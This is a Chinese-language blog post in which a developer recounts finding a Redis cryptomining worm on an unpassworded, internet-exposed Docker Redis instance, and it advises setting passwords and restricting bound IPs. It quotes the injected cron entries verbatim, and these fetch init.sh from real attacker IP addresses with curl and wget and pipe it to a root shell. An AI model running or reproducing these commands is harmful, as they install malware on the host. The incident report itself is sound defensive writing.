事實(shí)證明,互聯(lián)網(wǎng)會(huì)懲罰每一個(gè)裸奔的人之 Redis 擴(kuò)散病毒
前段時(shí)間換了臺(tái)電腦,一大堆開(kāi)發(fā)環(huán)境我實(shí)在是懶得在本地搞了,每次啟動(dòng)來(lái)啟動(dòng)去太麻煩了,索性直接在服務(wù)器上開(kāi) Docker 部署,docker pull 復(fù)制粘貼什么 Redis、什么 MySQL 分分鐘裝好,要用的時(shí)候直接遠(yuǎn)程連接就行了,簡(jiǎn)直不要太方便。
也不是什么業(yè)務(wù)場(chǎng)景讓我發(fā)現(xiàn)了這么一個(gè)病毒,因?yàn)榇蟛糠?Redis Key 都是設(shè)置了過(guò)期時(shí)間的,開(kāi)發(fā)過(guò)程也沒(méi)感覺(jué)到什么問(wèn)題,純粹是有一天我閑著沒(méi)事干,進(jìn)入 Redis 命令行 keys * 看看,不看不要緊,一看好家伙,多出了幾個(gè) key,大概就是下面這樣子:
uid:1
uid:2
uid:3
backup1
backup2
backup3
backup4
多出了 4 個(gè) backup 前綴的 key,我第一反應(yīng)這肯定是什么備份文件
正常情況下我根本不會(huì)在意,純粹就是那天確實(shí)比較閑,不如來(lái)學(xué)習(xí)下 Redis 吧(哈哈),于是,稟著好學(xué)的基本素養(yǎng),我分別查看了下這里面的 value 是什么:
*/2 * * * * root cd1 -fsSL http://194.87.139.103:8080/cleanfda/init.sh | sh
*/3 * * * * root wget -q -O- http://194.87.139.103:8080/cleanfda/init.sh | sh
*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh
*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh
wget 是用來(lái)下載東西的,curl 是用于執(zhí)行 HTTP 請(qǐng)求,點(diǎn)開(kāi) http://45.83.123.29/cleanfda/init.sh 看看到底是什么腳本文件:
又是改權(quán)限,又是關(guān)防火墻刪文件的,用屁股想都知道這 IP 肯定是國(guó)外的了:
查了下發(fā)現(xiàn)這是一種 Redis 擴(kuò)散病毒,專門利用 Redis 未授權(quán)訪問(wèn)漏洞的挖礦病毒。沒(méi)錯(cuò),就是 Redis 沒(méi)設(shè)置密碼,沒(méi)授權(quán),讓病毒有了可乘之機(jī)。如果服務(wù)暴露在互聯(lián)網(wǎng)上就一定要設(shè)置密碼,不要裸奔 ??,很多同學(xué)大部分時(shí)間都是在本地開(kāi)發(fā),沒(méi)有設(shè)置密碼的習(xí)慣或者只是簡(jiǎn)單的設(shè)置成 root 這種
另外,除了設(shè)置密碼,服務(wù)器開(kāi)放端口的時(shí)候最好也指定下 IP,不然默認(rèn)的 0.0.0.0:6379 任何 IP 都可以訪問(wèn)